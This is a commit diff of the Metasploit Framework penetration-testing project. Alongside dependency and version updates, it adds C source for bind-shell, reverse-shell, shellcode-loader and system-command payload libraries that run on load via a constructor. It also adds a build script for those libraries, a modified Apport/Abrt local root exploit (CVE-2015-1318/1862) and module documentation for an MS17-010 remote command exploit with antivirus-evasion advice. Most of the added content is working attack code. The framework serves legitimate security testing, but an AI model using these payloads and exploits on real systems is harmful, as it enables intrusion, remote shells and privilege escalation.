Compare commits
42 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 6c350be24e | |||
| 016af01fd8 | |||
| ce3d5d77e4 | |||
| ec12d61702 | |||
| 445b72fdcd | |||
| 48c3c7cd62 | |||
| 64746d8325 | |||
| b7fbffa331 | |||
| 4fa68f29d9 | |||
| a9d4a98d80 | |||
| cca76d2217 | |||
| bff02efad4 | |||
| 395320ba97 | |||
| a87ae41d81 | |||
| 0d98135fcb | |||
| c2379308cf | |||
| af0c58c2ae | |||
| b515a582f0 | |||
| 25652c6c17 | |||
| 926ce42a01 | |||
| 2ea9ab2625 | |||
| a4022f7b8f | |||
| 06b702e86b | |||
| 8f2de5cd41 | |||
| a136841794 | |||
| 15f631dcb5 | |||
| d6beb94c59 | |||
| 5ec3da843e | |||
| 294a8e0ada | |||
| bb73d2c07e | |||
| 47682e3f37 | |||
| 5fc1988d63 | |||
| ab610f599b | |||
| 7da3bdd081 | |||
| 10fafb62bb | |||
| 512192d3b0 | |||
| 55c345418d | |||
| b8fc2c0213 | |||
| 23619431aa | |||
| 0916d8402e | |||
| bf6540585f | |||
| 898aa82933 |
+1
-1
@@ -1 +1 @@
|
||||
2.4.2
|
||||
2.4.3
|
||||
|
||||
+2
-2
@@ -12,8 +12,8 @@ addons:
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.2'
|
||||
- '2.3.5'
|
||||
- '2.4.2'
|
||||
- '2.3.6'
|
||||
- '2.4.3'
|
||||
|
||||
env:
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
|
||||
+4
-2
@@ -1,4 +1,4 @@
|
||||
FROM ruby:2.4.2-alpine
|
||||
FROM ruby:2.4.3-alpine3.7
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
@@ -20,6 +20,8 @@ RUN apk update && \
|
||||
nmap-scripts \
|
||||
nmap-nselibs \
|
||||
postgresql-libs \
|
||||
python \
|
||||
python3 \
|
||||
ncurses \
|
||||
libcap \
|
||||
&& apk add --virtual .ruby-builddeps \
|
||||
@@ -27,7 +29,7 @@ RUN apk update && \
|
||||
bison \
|
||||
build-base \
|
||||
ruby-dev \
|
||||
openssl-dev \
|
||||
libressl-dev \
|
||||
readline-dev \
|
||||
sqlite-dev \
|
||||
postgresql-dev \
|
||||
|
||||
@@ -23,6 +23,14 @@ group :development do
|
||||
'x86-mingw32', 'x64-mingw32',
|
||||
'x86_64-linux', 'x86-linux',
|
||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
||||
gem 'google-protobuf', '3.5.1' if [
|
||||
'x86-mingw32', 'x64-mingw32',
|
||||
'x86_64-linux', 'x86-linux',
|
||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
||||
gem 'grpc', '1.8.3' if [
|
||||
'x86-mingw32', 'x64-mingw32',
|
||||
'x86_64-linux', 'x86-linux',
|
||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
|
||||
+20
-18
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.16.32)
|
||||
metasploit-framework (4.16.36)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -18,9 +18,9 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.25)
|
||||
metasploit-payloads (= 1.3.28)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.3.3)
|
||||
metasploit_payloads-mettle (= 0.3.6)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
@@ -73,7 +73,7 @@ PATH
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.0.2)
|
||||
Ascii85 (1.0.3)
|
||||
actionpack (4.2.10)
|
||||
actionview (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
@@ -103,12 +103,12 @@ GEM
|
||||
public_suffix (>= 2.0.2, < 4.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.5.0)
|
||||
arel-helpers (2.6.1)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.11.0)
|
||||
backports (3.11.1)
|
||||
bcrypt (3.1.11)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bindata (2.4.1)
|
||||
bindata (2.4.2)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
@@ -125,7 +125,7 @@ GEM
|
||||
railties (>= 3.0.0)
|
||||
faker (1.8.7)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.13.1)
|
||||
faraday (0.14.0)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.18)
|
||||
filesize (0.1.1)
|
||||
@@ -146,7 +146,7 @@ GEM
|
||||
googleapis-common-protos-types (~> 1.0.0)
|
||||
googleauth (>= 0.5.1, < 0.7)
|
||||
hashery (2.1.2)
|
||||
i18n (0.9.1)
|
||||
i18n (0.9.3)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
@@ -181,21 +181,21 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.25)
|
||||
metasploit_data_models (2.0.15)
|
||||
metasploit-payloads (1.3.28)
|
||||
metasploit_data_models (2.0.16)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
pg
|
||||
pg (= 0.20.0)
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.3.3)
|
||||
metasploit_payloads-mettle (0.3.6)
|
||||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.11.1)
|
||||
minitest (5.11.3)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.2.2)
|
||||
multi_json (1.13.1)
|
||||
@@ -203,8 +203,8 @@ GEM
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (4.2.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.1.1)
|
||||
nokogiri (1.8.1)
|
||||
nexpose (7.2.0)
|
||||
nokogiri (1.8.2)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.8.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
@@ -323,7 +323,7 @@ GEM
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.7.0)
|
||||
rspec-support (3.7.1)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (0.0.18)
|
||||
bindata
|
||||
@@ -352,7 +352,7 @@ GEM
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.4)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2017.3)
|
||||
tzinfo-data (1.2018.3)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
@@ -367,6 +367,8 @@ PLATFORMS
|
||||
DEPENDENCIES
|
||||
factory_girl_rails
|
||||
fivemat
|
||||
google-protobuf (= 3.5.1)
|
||||
grpc (= 1.8.3)
|
||||
metasploit-aggregator
|
||||
metasploit-framework!
|
||||
octokit
|
||||
|
||||
@@ -75,6 +75,10 @@ Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
||||
Copyright: 2006-2010 Yoann GUILLOT
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: lib/msf/core/modules/external/python/async_timeout/*
|
||||
Copyright: 2016-2017 Andrew Svetlov
|
||||
License: Apache 2.0
|
||||
|
||||
Files: lib/net/dns.rb lib/net/dns/*
|
||||
Copyright: 2006 Marco Ceresa
|
||||
License: Ruby
|
||||
|
||||
Executable
+48
@@ -0,0 +1,48 @@
|
||||
#!/bin/bash
|
||||
|
||||
build () {
|
||||
CC=$1
|
||||
TARGET_SUFFIX=$2
|
||||
CFLAGS=$3
|
||||
|
||||
echo "[*] Building for ${TARGET_SUFFIX}..."
|
||||
for type in {shellcode,system,reverse,bind}
|
||||
do ${CC} ${CFLAGS} -Wall -fPIC -fno-stack-protector -Os goahead-cgi-${type}.c -s -shared -o goahead-cgi-${type}-${TARGET_SUFFIX}.so
|
||||
done
|
||||
}
|
||||
|
||||
rm -f *.o *.so *.gz
|
||||
|
||||
#
|
||||
# Linux GLIBC
|
||||
#
|
||||
|
||||
# x86
|
||||
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
|
||||
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# ARM
|
||||
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
|
||||
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
|
||||
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
|
||||
|
||||
# MIPS
|
||||
build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
|
||||
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
|
||||
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
|
||||
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
|
||||
|
||||
# SPARC
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# PowerPC
|
||||
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
|
||||
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
|
||||
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
|
||||
|
||||
# S390X
|
||||
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
|
||||
|
||||
gzip -9 *.so
|
||||
rm -f *.o *.so
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,96 @@
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
static void _bind_tcp_shell(void) {
|
||||
|
||||
int sfd, fd, i;
|
||||
struct sockaddr_in addr,saddr;
|
||||
unsigned int saddr_len = sizeof(struct sockaddr_in);
|
||||
|
||||
char *lport = "55555";
|
||||
char *shells[] = {
|
||||
"/bin/bash",
|
||||
"/usr/bin/bash",
|
||||
"/bin/sh",
|
||||
"/usr/bin/sh",
|
||||
"/bin/ash",
|
||||
"/usr/bin/ash",
|
||||
"/bin/dash",
|
||||
"/usr/bin/dash",
|
||||
"/bin/csh",
|
||||
"/usr/bin/csh",
|
||||
"/bin/ksh",
|
||||
"/usr/bin/ksh",
|
||||
"/bin/busybox",
|
||||
"/usr/bin/busybox",
|
||||
NULL
|
||||
};
|
||||
|
||||
sfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int));
|
||||
|
||||
saddr.sin_family = AF_INET;
|
||||
saddr.sin_port = htons(atoi(lport));
|
||||
saddr.sin_addr.s_addr = INADDR_ANY;
|
||||
bzero(&saddr.sin_zero, 8);
|
||||
|
||||
if (bind(sfd, (struct sockaddr *) &saddr, saddr_len) == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (listen(sfd, 5) == -1) {
|
||||
close(sfd);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fd = accept(sfd, (struct sockaddr *) &addr, &saddr_len);
|
||||
close(sfd);
|
||||
|
||||
if (fd == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (i=0; i<3; i++) {
|
||||
dup2(fd, i);
|
||||
}
|
||||
|
||||
/* Keep trying until execl() succeeds */
|
||||
for (i=0; ; i++) {
|
||||
if (shells[i] == NULL) break;
|
||||
execl(shells[i], "sh", NULL);
|
||||
}
|
||||
|
||||
/* Close the connection if we failed to find a shell */
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
_bind_tcp_shell();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,84 @@
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
static void _reverse_tcp_shell(void) {
|
||||
|
||||
int fd, i;
|
||||
struct sockaddr_in addr;
|
||||
char *lport = "55555";
|
||||
char *lhost = "000.000.000.000";
|
||||
char *shells[] = {
|
||||
"/bin/bash",
|
||||
"/usr/bin/bash",
|
||||
"/bin/sh",
|
||||
"/usr/bin/sh",
|
||||
"/bin/ash",
|
||||
"/usr/bin/ash",
|
||||
"/bin/dash",
|
||||
"/usr/bin/dash",
|
||||
"/bin/csh",
|
||||
"/usr/bin/csh",
|
||||
"/bin/ksh",
|
||||
"/usr/bin/ksh",
|
||||
"/bin/busybox",
|
||||
"/usr/bin/busybox",
|
||||
NULL
|
||||
};
|
||||
|
||||
fd = socket(PF_INET, SOCK_STREAM, 0);
|
||||
addr.sin_port = htons(atoi(lport));
|
||||
addr.sin_addr.s_addr = inet_addr(lhost);
|
||||
addr.sin_family = AF_INET;
|
||||
|
||||
memset(addr.sin_zero, 0, sizeof(addr.sin_zero));
|
||||
|
||||
for (i=0; i<10; i++) {
|
||||
if (! connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr))) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for (i=0; i<3; i++) {
|
||||
dup2(fd, i);
|
||||
}
|
||||
|
||||
/* Keep trying until execl() succeeds */
|
||||
for (i=0; ; i++) {
|
||||
if (shells[i] == NULL) break;
|
||||
execl(shells[i], "sh", NULL);
|
||||
}
|
||||
|
||||
/* Close the connection if we failed to find a shell */
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
_reverse_tcp_shell();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1,44 @@
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.0");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.2.5");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 5000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
void *mem;
|
||||
void (*fn)();
|
||||
|
||||
unsetenv("LD_PRELOAD");
|
||||
|
||||
mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
|
||||
if (mem == MAP_FAILED)
|
||||
return;
|
||||
|
||||
memcpy(mem, payload, PAYLOAD_SIZE);
|
||||
fn = (void(*)())mem;
|
||||
|
||||
if (! fork())
|
||||
fn();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,32 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 5000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
int dummy = 0;
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
dummy = system((const char*)payload);
|
||||
|
||||
exit(dummy);
|
||||
}
|
||||
Executable
+21
@@ -0,0 +1,21 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Assume x86_64 Ubuntu 16.04 base system
|
||||
apt-get install build-essential \
|
||||
gcc-5-multilib \
|
||||
gcc-5-multilib-arm-linux-gnueabi \
|
||||
gcc-5-multilib-arm-linux-gnueabihf \
|
||||
gcc-5-multilib-mips-linux-gnu \
|
||||
gcc-5-multilib-mips64-linux-gnuabi64 \
|
||||
gcc-5-multilib-mips64el-linux-gnuabi64 \
|
||||
gcc-5-multilib-mipsel-linux-gnu \
|
||||
gcc-5-multilib-powerpc-linux-gnu \
|
||||
gcc-5-multilib-powerpc64-linux-gnu \
|
||||
gcc-5-multilib-s390x-linux-gnu \
|
||||
gcc-5-multilib-sparc64-linux-gnu \
|
||||
gcc-4.9-powerpc64le-linux-gnu \
|
||||
gcc-4.9-aarch64-linux-gnu
|
||||
|
||||
if [ ! -e /usr/include/asm ];
|
||||
then ln -sf /usr/include/asm-generic /usr/include/asm
|
||||
fi
|
||||
Binary file not shown.
@@ -0,0 +1,143 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <err.h>
|
||||
#include <syslog.h>
|
||||
#include <sched.h>
|
||||
#include <linux/sched.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
//
|
||||
// Apport/Abrt Vulnerability Demo Exploit.
|
||||
//
|
||||
// Apport: CVE-2015-1318
|
||||
// Abrt: CVE-2015-1862
|
||||
//
|
||||
// -- taviso@cmpxchg8b.com, April 2015.
|
||||
//
|
||||
// $ gcc -static newpid.c
|
||||
// $ ./a.out
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// sh-4.3# exit
|
||||
// exit
|
||||
//
|
||||
// Hint: To get libc.a,
|
||||
// yum install glibc-static or apt-get install libc6-dev
|
||||
//
|
||||
|
||||
//
|
||||
// Modified for Metasploit. Original exploit:
|
||||
// - https://www.exploit-db.com/exploits/36746/
|
||||
//
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int status;
|
||||
pid_t wrapper;
|
||||
pid_t init;
|
||||
pid_t subprocess;
|
||||
unsigned i;
|
||||
|
||||
// If we're root, then we've convinced the core handler to run us,
|
||||
// so create a setuid root executable that can be used outside the chroot.
|
||||
if (getuid() == 0) {
|
||||
if (chown("sh", 0, 0) != 0)
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
if (chmod("sh", 04755) != 0)
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
|
||||
// If I'm not root, but euid is 0, then the exploit worked and we can spawn
|
||||
// a shell and cleanup.
|
||||
if (setuid(0) == 0) {
|
||||
system("id");
|
||||
system("rm -rf exploit");
|
||||
execlp("sh", "sh", NULL);
|
||||
|
||||
// Something went wrong.
|
||||
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
|
||||
}
|
||||
|
||||
// It looks like the exploit hasn't run yet, so create a chroot.
|
||||
if (mkdir("exploit", 0755) != 0
|
||||
|| mkdir("exploit/usr", 0755) != 0
|
||||
|| mkdir("exploit/usr/share", 0755) != 0
|
||||
|| mkdir("exploit/usr/share/apport", 0755) != 0
|
||||
|| mkdir("exploit/usr/libexec", 0755) != 0) {
|
||||
err(EXIT_FAILURE, "failed to create chroot directory");
|
||||
}
|
||||
|
||||
// Create links to the exploit locations we need.
|
||||
if (link(*argv, "exploit/sh") != 0
|
||||
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu
|
||||
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora
|
||||
err(EXIT_FAILURE, "failed to create required hard links");
|
||||
}
|
||||
|
||||
// Create a subprocess so we don't enter the new namespace.
|
||||
if ((wrapper = fork()) == 0) {
|
||||
|
||||
// In the child process, create a new pid and user ns. The pid
|
||||
// namespace is only needed on Ubuntu, because they check for %P != %p
|
||||
// in their core handler. On Fedora, just a user ns is sufficient.
|
||||
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
|
||||
err(EXIT_FAILURE, "failed to create new namespace");
|
||||
|
||||
// Create a process in the new namespace.
|
||||
if ((init = fork()) == 0) {
|
||||
|
||||
// Init (pid 1) signal handling is special, so make a subprocess to
|
||||
// handle the traps.
|
||||
if ((subprocess = fork()) == 0) {
|
||||
// Change /proc/self/root, which we can do as we're privileged
|
||||
// within the new namepace.
|
||||
if (chroot("exploit") != 0) {
|
||||
err(EXIT_FAILURE, "chroot didnt work");
|
||||
}
|
||||
|
||||
// Now trap to get the core handler invoked.
|
||||
__builtin_trap();
|
||||
|
||||
// Shouldn't happen, unless user is ptracing us or something.
|
||||
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
|
||||
}
|
||||
|
||||
// If the subprocess exited with an abnormal signal, then everything worked.
|
||||
if (waitpid(subprocess, &status, 0) == subprocess)
|
||||
return WIFSIGNALED(status)
|
||||
? EXIT_SUCCESS
|
||||
: EXIT_FAILURE;
|
||||
|
||||
// Something didn't work.
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
// The new namespace didn't work.
|
||||
if (waitpid(init, &status, 0) == init)
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
|
||||
? EXIT_SUCCESS
|
||||
: EXIT_FAILURE;
|
||||
|
||||
// Waitpid failure.
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
// If the subprocess returned sccess, the exploit probably worked,
|
||||
// reload with euid zero.
|
||||
if (waitpid(wrapper, &status, 0) == wrapper) {
|
||||
// All done, spawn root shell.
|
||||
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
|
||||
execl(*argv, "w00t", NULL);
|
||||
}
|
||||
}
|
||||
|
||||
// Unknown error.
|
||||
errx(EXIT_FAILURE, "unexpected result, cannot continue");
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
MS17-010 are psexec are two of the most popular exploits against Microsoft Windows. This module bolts the two together.
|
||||
|
||||
You can run any command as SYSTEM. Note: unlike EternalBlue, kernel shellcode is not used to stage Meterpreter, so you might have to evade your payloads.
|
||||
|
||||
* CVE-2017-0146 (EternalChampion/EternalSynergy) - exploit a race condition with Transaction requests
|
||||
* CVE-2017-0143 (EternalRomance/EternalSynergy) - exploit a type confusion between WriteAndX and Transaction requests
|
||||
|
||||
This module is highly reliable and preferred over EternalBlue where a Named Pipe is accessible for anonymous logins (generally, everything pre-Vista, and relatively common for domain computers in the wild).
|
||||
|
||||
## Vulnerable Server
|
||||
|
||||
To be able to use auxiliary/admin/smb/ms17_010_command:
|
||||
|
||||
1. You can OPTIONALLY use a valid username/password to bypass most of these requirements.
|
||||
2. The firewall must allow SMB traffic.
|
||||
3. The target must use SMBv1.
|
||||
4. The target must be missing the MS17-010 patch.
|
||||
5. The target must allow anonymous IPC$ and a Named Pipe.
|
||||
|
||||
You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
|
||||
|
||||
```
|
||||
msf > use auxiliary/admin/smb/ms17_010_command
|
||||
msf exploit(psexec) > set RHOSTS 192.168.1.80
|
||||
RHOSTS => 192.168.1.80
|
||||
msf exploit(psexec) > exploit
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
By default, using auxiliary/admin/smb/ms17_010_command can be as simple as setting the RHOSTS option, and you're ready to go.
|
||||
|
||||
**The NAMEDPIPE Option**
|
||||
|
||||
By default, the module will scan for a list of common pipes for any available one. You can specify one by name.
|
||||
|
||||
**The LEAKATTEMPTS Option**
|
||||
|
||||
Information leaks are used to ensure stability of the exploit. Sometimes they don't pop on the first try.
|
||||
|
||||
**The DBGTRACE Option**
|
||||
|
||||
Used to debug, gives extremely verbose information.
|
||||
|
||||
**The SMBUser Option**
|
||||
|
||||
This is a valid Windows username.
|
||||
|
||||
**The SMBPass option**
|
||||
|
||||
This can be either the plain text version or the Windows hash.
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Automatic Target**
|
||||
|
||||
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.
|
||||
|
||||
**Powershell Target**
|
||||
|
||||
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.
|
||||
|
||||
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that.
|
||||
|
||||
**Native Upload Target**
|
||||
|
||||
The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
|
||||
SHARE datastore option), and then execute it with psexec.
|
||||
|
||||
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option.
|
||||
|
||||
**MOF Upload Target**
|
||||
|
||||
The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object
|
||||
